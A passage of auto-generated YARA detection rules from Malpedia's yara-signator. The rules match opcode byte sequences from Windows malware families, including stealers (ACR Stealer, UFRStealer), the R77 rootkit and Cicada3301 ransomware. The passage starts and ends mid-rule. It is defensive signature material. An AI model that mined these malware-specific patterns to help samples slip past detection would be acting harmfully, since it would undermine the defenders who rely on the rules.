		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6879e197-d2fb-581d-9f88-69c75afc2e63"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickle"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fickle_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "f140341d28c7aeaf4e7af75fed2cbbb86f7c4fb7ead43c1713a0301f74177602"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 80f12a 884c241e 0f280424 0f29442470 0f1044240f 0f1144247f 8dbc24a0000000 }
		$sequence_1 = { 660f7f442440 89542450 897c2454 894c2458 8b44240c 8944245c 803e04 }
		$sequence_2 = { 8b913b148901 33540804 89540c04 83c104 83f918 72ea 8a401c }
		$sequence_3 = { 8d3449 8d0cb2 81c10c010000 8d14f2 8918 c7400400000000 897808 }
		$sequence_4 = { e8???????? 83c40c 8b442418 8944246c 895c2470 8b44240c 89442474 }
		$sequence_5 = { 8d742450 89442450 89f1 e8???????? 89d9 e8???????? 85c0 }
		$sequence_6 = { 8d9c24b4000000 89d9 8d942498000000 57 e8???????? 83c404 89d9 }
		$sequence_7 = { e8???????? 8b1e 8b7e04 53 ff17 83c404 837f0400 }
		$sequence_8 = { 8d0440 8b4c2464 8b7c8104 8b448108 897c240c 31ed 85c0 }
		$sequence_9 = { 8b54247c 8bbc2480000000 f30f7e442448 660fd6442468 8b442450 89442470 8d8c24d8000000 }
	condition:
		7 of them and filesize < 1646592
}

rule MALPEDIA_Win_Soraya_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a07d2ec9-21c3-51d7-8a6a-aaea120dc635"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soraya_auto.yar#L1-L232"
		license_url = "N/A"
		logic_hash = "67d5293b43a7462b9bb676c8134e4e8a6a8c166af85a6bac43befacfaf313c24"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8d48bf 80f919 77f2 }
		$sequence_1 = { 488d4dd0 488bd0 488bd8 ff15???????? 458bc7 33d2 }
		$sequence_2 = { 833800 7411 c1d30b 8b18 0fbdc1 8b45e4 }
		$sequence_3 = { 2bfa 037d0c 3bc7 72cd 8b4510 33c1 }
		$sequence_4 = { ba02c10d00 33c8 2bfa 2bca 0faff9 eb46 }
		$sequence_5 = { ffd0 85c0 7536 8b75ec 83feff 742e }
		$sequence_6 = { 488bce ff15???????? 488bcd ff15???????? 498bce ff15???????? }
		$sequence_7 = { 488bcf ff15???????? 83f801 753b }
		$sequence_8 = { 6a04 6800300000 6a0a 56 ff15???????? 8b3d???????? }
		$sequence_9 = { 52 8d45d8 50 8b45f8 33c6 }
		$sequence_10 = { a1???????? 69c941370000 8bfa 33d2 f7f3 33d2 }
		$sequence_11 = { ffd7 68???????? 8d85f8fdffff 50 ffd6 e8???????? 50 }
		$sequence_12 = { 4885c0 0f84b8000000 488364242000 4c8d442430 41b930000000 }
		$sequence_13 = { 7511 488bc5 81e1ff0f0000 482b4630 4a010411 8b4a04 }
		$sequence_14 = { e8???????? 68???????? ff15???????? 8b3d???????? 8bd8 68???????? 53 }
		$sequence_15 = { 488d4550 4c8d442450 4183c9ff 33d2 33c9 }
		$sequence_16 = { 8d41f2 66898552ffffff 83c016 66898554ffffff }
		$sequence_17 = { 72c8 4c891d???????? 488d0d1fe0ffff ff15???????? 488bc8 e8???????? 488d0dfadfffff }
		$sequence_18 = { 8b45fc 8b7508 33c3 2bc7 }
		$sequence_19 = { 3bf0 72e4 eb03 8b55fc }
		$sequence_20 = { 8b45ec 41 3bc8 72e8 8b7df4 8b45f0 }
		$sequence_21 = { 8b4dcc 8365f400 894dfc 0fb74b06 2bc7 49 }
		$sequence_22 = { 6a0c 58 e8???????? 59 85c0 0f849e000000 2b75fc }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Acr_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "547d8bdd-72e9-53c8-a71c-7409f9635ddc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acr_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acr_stealer_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "c2e01cdbfe17e3a90e2e6ed950f1a1b39c17c8ce5a68e48be7cf324c1277f6cb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7008 8bce 6a00 ff15???????? 8bcf ffd6 5f }
		$sequence_1 = { 6a0b 68???????? eb07 6a04 68???????? 8b3f 8b07 }
		$sequence_2 = { 72fa 53 ff30 8b45f8 ff37 8b7030 }
		$sequence_3 = { e8???????? 8bf2 33c9 c1ee0f 33f0 33ca }
		$sequence_4 = { 8955f4 ff7407f8 e8???????? 8bfe 8955f0 83c410 }
		$sequence_5 = { ff7034 ff15???????? ffd6 83c410 85c0 0f8490000000 8b4ddc }
		$sequence_6 = { 894e44 83f908 73da 8b95b4feffff 3bd7 0f821affffff 8b4dfc }
		$sequence_7 = { 397df4 7508 3bc1 0f8411ffffff 85c9 7403 49 }
		$sequence_8 = { 8955f4 85c0 7406 c70000000000 85db 0f8420010000 33c0 }
		$sequence_9 = { 85db 7469 83fb03 7329 66019e12860000 0f1f440000 8bc7 }
	condition:
		7 of them and filesize < 1246208
}

rule MALPEDIA_Win_Winsloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "191c86a4-a63b-58ad-aa56-a92769922387"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winsloader_auto.yar#L1-L171"
		license_url = "N/A"
		logic_hash = "b2fd64965251990b571c8a72ebd9a6faa4e5fa165dfd7a3b0d129cdd9946e8f7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c a4 ffd0 5b 5f }
		$sequence_1 = { 83c434 85ff 7510 56 e8???????? 83c404 33c0 }
		$sequence_2 = { 8d5c3304 e8???????? 8b0d???????? 8b15???????? 6689841dfcfbffff }
		$sequence_3 = { b8???????? 83c40c 66c7843500fcfffff90b 8d4801 8d4900 }
		$sequence_4 = { 75f9 2bc1 0fb6f8 888435fefbffff 8d4701 50 }
		$sequence_5 = { 8d44020c 0fb6f9 66898435fefbffff 888c3500fcffff 8d4f01 51 8d943501fcffff }
		$sequence_6 = { 50 e8???????? 68???????? 8d5c3304 }
		$sequence_7 = { 83c40c 03f7 b8???????? 66c78435fcfbffff9001 8d4801 8a10 40 }
		$sequence_8 = { 83c40c 6800040000 8d8dfcf7ffff 51 }
		$sequence_9 = { 8d8dfcf7ffff e8???????? 85c0 7507 33c0 }
		$sequence_10 = { 894df0 8b34cdb86a0110 8b4d08 6a5a 2bce 5b }
		$sequence_11 = { 7466 40 68???????? 50 e8???????? 83c408 }
		$sequence_12 = { 57 8db8b0c20110 57 ff15???????? ff0d???????? }
		$sequence_13 = { 8b85f8f3ffff c68405fcfbffff0b 8b8df8f3ffff 83c101 898df8f3ffff }
		$sequence_14 = { 0f84ee020000 66660f1f840000000000 81f900010000 0f8587000000 8bce }
		$sequence_15 = { 1bc0 23c1 83c008 5d c3 8b04c50c480110 5d }
	condition:
		7 of them and filesize < 270336
}

rule MALPEDIA_Win_Keyhole_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1424dce1-e15d-5891-8b31-d03e6f9196b6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keyhole_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "5d8e02829700ab11940f33d62fd46ba422e843d7ddb0ea7b421b42e641a7096f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d442404 0f11442404 50 0f11442418 c744240830000000 c744241090f36800 c744241c00000000 }
		$sequence_1 = { 2bee 90 8a01 8d4901 884429ff 83ef01 75f2 }
		$sequence_2 = { 6a00 ff15???????? 8bd8 85ff 7515 8b0d???????? 81c15d010000 }
		$sequence_3 = { 47 83c414 83c614 3bf8 72da a1???????? 33ff }
		$sequence_4 = { 83ec08 53 8b5c2418 8bc3 d1e8 56 8d3440 }
		$sequence_5 = { c3 a900080000 7404 33c0 eb11 56 53 }
		$sequence_6 = { 7507 b9f5060000 eb1a 83f920 7205 83f97e 761e }
		$sequence_7 = { 85c0 741f 53 e8???????? 83c404 85c0 }
		$sequence_8 = { 3bf7 725d 8b7c2420 8bc2 25ff030000 0fbf844560010000 89442410 }
		$sequence_9 = { 8d442420 50 55 6a00 ff15???????? 8b442428 8b542420 }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Classfon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a555a1ed-ff7a-5a40-964f-e4a3266a1aa9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.classfon_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "4a5e61a984c75da7dda5bee4683bb4bb3bc0f6865b6aa2b1e5cfe06d77a7200c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f855c010000 8a442424 8d7c2424 84c0 742a 8b1d???????? a1???????? }
		$sequence_1 = { 89be04020000 8b8600020000 3bc7 740e 83f8ff }
		$sequence_2 = { 57 b985000000 33c0 8d7c240d c644240c00 f3ab 66ab }
		$sequence_3 = { 53 56 8b35???????? 57 8bbc24dc070000 6800010000 8b07 }
		$sequence_4 = { 7520 8b4350 6a04 6800200000 }
		$sequence_5 = { 6a20 68ff010f00 6a00 8bd0 }
		$sequence_6 = { 8bf0 3bf5 0f859d010000 8d4c241c 8d542424 51 8b4c2414 }
		$sequence_7 = { 683f000f00 6a00 51 52 ff15???????? 8bf0 85f6 }
		$sequence_8 = { 6a01 6800000080 57 ff15???????? 8b742418 83f8ff }
		$sequence_9 = { 8b442418 8d4c2400 c744240000000000 51 68???????? }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_R77_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b79f20de-193b-5b74-8687-5e00cdb0b22f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r77"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.r77_auto.yar#L1-L158"
		license_url = "N/A"
		logic_hash = "ee9f3e01cb496a017b30e9f636bd55f0ca4c077d0d62d251be75c67533f23dc5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740c 8b4f0c e8???????? 85c0 }
		$sequence_1 = { 740b 8b0f e8???????? 85c0 }
		$sequence_2 = { bafeff0000 6623c2 6683f806 721a 41b803000000 }
		$sequence_3 = { c1e202 8b4508 0fb60c10 83f91f 757d }
		$sequence_4 = { 0f8595010000 c745e4f8630110 e9???????? 894de0 c745e4f8630110 e9???????? }
		$sequence_5 = { ba01000000 c1e200 8b4508 0fb60c10 81f990000000 750a }
		$sequence_6 = { c745fc???????? eb07 c745fc???????? 8b4dfc 894df8 8b5510 }
		$sequence_7 = { 83e03f c1eb06 6bf838 8b049df8a00110 f644072801 7444 837c0718ff }
		$sequence_8 = { b801000000 d1e0 8b4d08 0fb61401 85d2 750a }
		$sequence_9 = { 488d157ad40000 e8???????? 8bcb 4885c0 740c 4883c420 }
		$sequence_10 = { ff15???????? 4889442450 488bd8 48897c2458 8d7d01 4885f6 }
		$sequence_11 = { c3 4883ec38 488d05f5d50100 4889442428 488b05???????? 4889442420 48837c242000 }
		$sequence_12 = { 488b4c2440 e8???????? eb55 4c8b4c2458 4c8b442450 488d15f3010200 488b4c2440 }
		$sequence_13 = { 4885db 7436 488b0d???????? 4885c9 7410 488b4910 488bd3 }
	condition:
		7 of them and filesize < 350208
}

rule MALPEDIA_Win_Jolob_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e26fb753-78dd-5e02-86f5-44abfa0b6e1a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jolob_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "95fc52fc444139dde815965f9b3fdbca25ad1f5fb52fadd80f33a59c158da935"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a64 ff15???????? e9???????? 8b431c e8???????? ff7318 e8???????? }
		$sequence_1 = { ff15???????? 50 ff15???????? 8d85ecfeffff 50 ff15???????? 85c0 }
		$sequence_2 = { 3bc2 75ec 834710f8 8d75dc e8???????? ff75f4 ff15???????? }
		$sequence_3 = { 832600 59 8bb720080000 8b2d???????? 85f6 7415 }
		$sequence_4 = { 8945e4 e8???????? 8b5de4 8b4f0c 53 }
		$sequence_5 = { 8a45ff 88043e 46 83fe04 7c1f 807c3efc0d 7518 }
		$sequence_6 = { 8bc6 5e c20400 832700 85f6 7410 8b4618 }
		$sequence_7 = { 8d7df4 e8???????? 8b45f4 8906 5f c9 c3 }
		$sequence_8 = { 3b4e30 72e9 8918 8b463c }
		$sequence_9 = { 3bc3 7407 50 e8???????? 59 895e14 895e10 }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Cicada3301_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7338c12c-73b8-5d10-8e46-a50135055df6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cicada3301"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cicada3301_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "71afdc3382366bc56a3a7b41e98090049ed0f50bc476acc71b1f38d7b1e1424b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 4c8d057fb12e00 4c89d9 4c89d2 e8???????? 4c8d059db12e00 4c89d9 }
		$sequence_1 = { e8???????? 4531ff 4c89f9 4889f2 e8???????? 31db 4889d9 }
		$sequence_2 = { f30f6f00 0f104810 0f105020 660f7f842420010000 0f298c2430010000 0f29942440010000 488b542470 }
		$sequence_3 = { e9???????? 4885c0 0f8499070000 84db 0f85c9020000 488b9c24b0010000 4839cf }
		$sequence_4 = { e8???????? 49ffcf 4d897e48 4d85ed 0f84e2010000 4c896c2428 0f28442460 }
		$sequence_5 = { f30f6f8610020000 f30f6f8b08020000 660f70c044 660febc1 f30f7f8308020000 0f1006 0f1103 }
		$sequence_6 = { eb21 4889de 4c8d0531002c00 4889e9 4889f2 e8???????? e9???????? }
		$sequence_7 = { ff13 e9???????? 4d85f6 7433 498d4c2408 4c89f0 488b4cc1f8 }
		$sequence_8 = { e8???????? 0f108424e0000000 0f108c24f0000000 0f10942400010000 0f29442450 0f294c2460 0f29542470 }
		$sequence_9 = { c1eb10 488d8c2490020000 488d94248b030000 41b8f5000000 e8???????? 4c8b442440 4c8b4c2438 }
	condition:
		7 of them and filesize < 11247616
}

rule MALPEDIA_Win_Pngdowner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e2dbfe40-d617-5d1b-bbce-59a19338c6f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pngdowner_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "c7a4cf22317ae6eb6a1b63ad8076fbfd6db12b13640e6a0471f645fcbb28ed9a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c410 85c0 0f856d010000 8d842418020000 8d8c2498010000 50 }
		$sequence_1 = { b910270000 f7f9 52 68???????? 8d942424010000 }
		$sequence_2 = { 83f85a 7714 8088????????10 8ac8 80c120 888800e44000 }
		$sequence_3 = { b910270000 f7f9 52 68???????? }
		$sequence_4 = { 83c8ff eb1f 8bce 83e61f c1f905 8bc6 8b0c8d40e64000 }
		$sequence_5 = { 99 b910270000 f7f9 8d84241c010000 }
		$sequence_6 = { e8???????? 85ff 0f85cf000000 53 8b5c2428 55 }
		$sequence_7 = { 8d7c2420 8d542420 f3ab 8d4c2414 51 6800000100 }
		$sequence_8 = { 50 89542414 c644240d73 ff15???????? 85c0 7430 68???????? }
		$sequence_9 = { 0f84e9000000 8b7508 8b7d0c 8d0520e34000 }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Ufrstealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ba013c32-c7d7-5540-a7af-23c784527e98"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ufrstealer_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "5a74533151b417ab8386a9dc0bd4bcb97ff632563f715bef9c755e4394a3e888"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8955f4 3b55f0 0f82ddfcffff 68???????? e8???????? 68???????? }
		$sequence_1 = { 72f2 eb1e 8b75e8 46 }
		$sequence_2 = { ff35???????? ff15???????? 8bd8 ff75fc ff7608 53 ff15???????? }
		$sequence_3 = { 83c304 ebb2 c705????????66666666 6a04 68???????? e8???????? }
		$sequence_4 = { 85c0 7548 803d????????00 7411 6a00 68???????? ff15???????? }
		$sequence_5 = { 6800040000 ff7510 6aff ff7204 6a00 6a00 ff15???????? }
		$sequence_6 = { 8945ec ff75f0 ff15???????? 50 6a06 ff75f0 }
		$sequence_7 = { 6801000080 ff15???????? 85c0 0f85fc030000 68000000f0 6a01 6a00 }
		$sequence_8 = { e8???????? 85c0 0f846c020000 83c00a }
		$sequence_9 = { a1???????? 0305???????? c60000 68???????? ff35???????? e8???????? }
	condition:
		7 of them and filesize < 770048
}

rule MALPEDIA_Win_Ghost_Secret_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "25fa3485-ffb3-5411-9ac6-ae7f05225e3c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_secret"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghost_secret_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "80ab2d045d82b27f499fbd18dbe91dc4f32ae725e1e1075459fc83c90e8a3488"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c408 50 56 ff15???????? 8d8c24a4050000 6a13 }
		$sequence_1 = { c68424eb02000040 c68424ec02000017 c68424ed02000034 c68424ee020000da c68424ef020000f8 c68424f002000003 c68424f1020000c7 }
		$sequence_2 = { 85c0 55 7518 68beb60000 e8???????? 83c408 5f }
		$sequence_3 = { c68424c8070000a6 c68424c9070000c9 c68424ca0700004e c68424cb07000072 c68424cc07000008 c68424cd070000dc c68424ce0700007b }
		$sequence_4 = { 6689442460 50 8b44247c c744242400000000 50 6a00 }
		$sequence_5 = { c684243e04000031 c684243f040000cb c68424400400006c c68424410400006c c684244204000075 }
		$sequence_6 = { 8d54244c 57 52 50 ff15???????? 85c0 }
		$sequence_7 = { 75dc 5f 5e 5d b890f0ffff 5b c3 }
		$sequence_8 = { c68424b7070000d1 c68424b40400004b 888c24b5040000 c68424b60400007e c68424b704000049 c68424b80400006e c68424b904000070 }
		$sequence_9 = { 8b440e08 83f809 0f87cf000000 ff248520ae4000 6a07 8d542444 e9???????? }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Grimplant_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f4355e5f-8d8e-5a41-aaf8-ff78dc5bf245"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grimplant_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "4dec16f667070add3c068beb4323237f7a05d78d34df766eafa3cbe4813f7400"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb13 4889c3 4889f0 e8???????? 488b942480000000 84c0 742a }
		$sequence_1 = { eb09 488d7908 e8???????? 488b6c2420 4883c428 c3 0f1f4000 }
		$sequence_2 = { e8???????? 488d056e852500 488b5c2428 488b4c2448 488b7c2450 e8???????? 48c7400801000000 }
		$sequence_3 = { e8???????? 4889d8 e8???????? 4c89e0 0f1f440000 e8???????? 488b9424f8000000 }
		$sequence_4 = { 4c8b442458 4c8b4c2460 4c8d15f1213300 4989c3 4889c8 4889d1 488bac24a0000000 }
		$sequence_5 = { eb1c 488b4c2460 488b8908010000 488b442468 ffd1 3c03 7505 }
		$sequence_6 = { 8400 833d????????00 750c 488d0da5553c00 488908 eb0f 4889c7 }
		$sequence_7 = { c3 4889d0 488b5c2468 488b4c2440 488d3dd7323800 be04000000 e8???????? }
		$sequence_8 = { bf01000000 4889fe e8???????? 0f1f440000 e8???????? 4889c3 488d05f1d22a00 }
		$sequence_9 = { ffd2 488d48ff eb15 31c0 488b6c2468 4883c470 c3 }
	condition:
		7 of them and filesize < 19940352
}

rule MALPEDIA_Win_Reactorbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1f9dea8e-61fb-5c9c-9443-ee6383884e21"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reactorbot_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "701fb8c7491a0d723c5845d4d6cce6ffa47155dd0df2cecad8bd6a0e42ab031b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4804 894dfc 8b55fc a1???????? }
		$sequence_1 = { c745e400000000 a1???????? 8945e0 8b4d08 }
		$sequence_2 = { 50 ff15???????? 8b55f4 52 ff15???????? 8b45ec 8be5 }
		$sequence_3 = { ff15???????? 8945f8 837df800 7449 8b55fc 52 }
		$sequence_4 = { 8d8590fdffff 50 ff15???????? 8d8d90fdffff 51 }
		$sequence_5 = { 8d9580f9ffff 52 ff15???????? 8945ec 837decff }
		$sequence_6 = { a1???????? 8982b8000000 83c8ff 8be5 }
		$sequence_7 = { 8b4508 50 6804010000 8d8d78f7ffff 51 e8???????? 8d9578f7ffff }
		$sequence_8 = { 7402 eb0c c705????????b80b0000 eb0a c705????????e8030000 }
		$sequence_9 = { ff15???????? e8???????? 833d????????00 7509 833d????????00 }
		$sequence_10 = { 83c005 99 b905000000 f7f9 }
		$sequence_11 = { 69c0b13a0200 99 83e203 03c2 }
		$sequence_12 = { 6bc005 83e803 99 b999000000 f7f9 }
		$sequence_13 = { 83e101 f7d9 81e12083b8ed 33c1 }
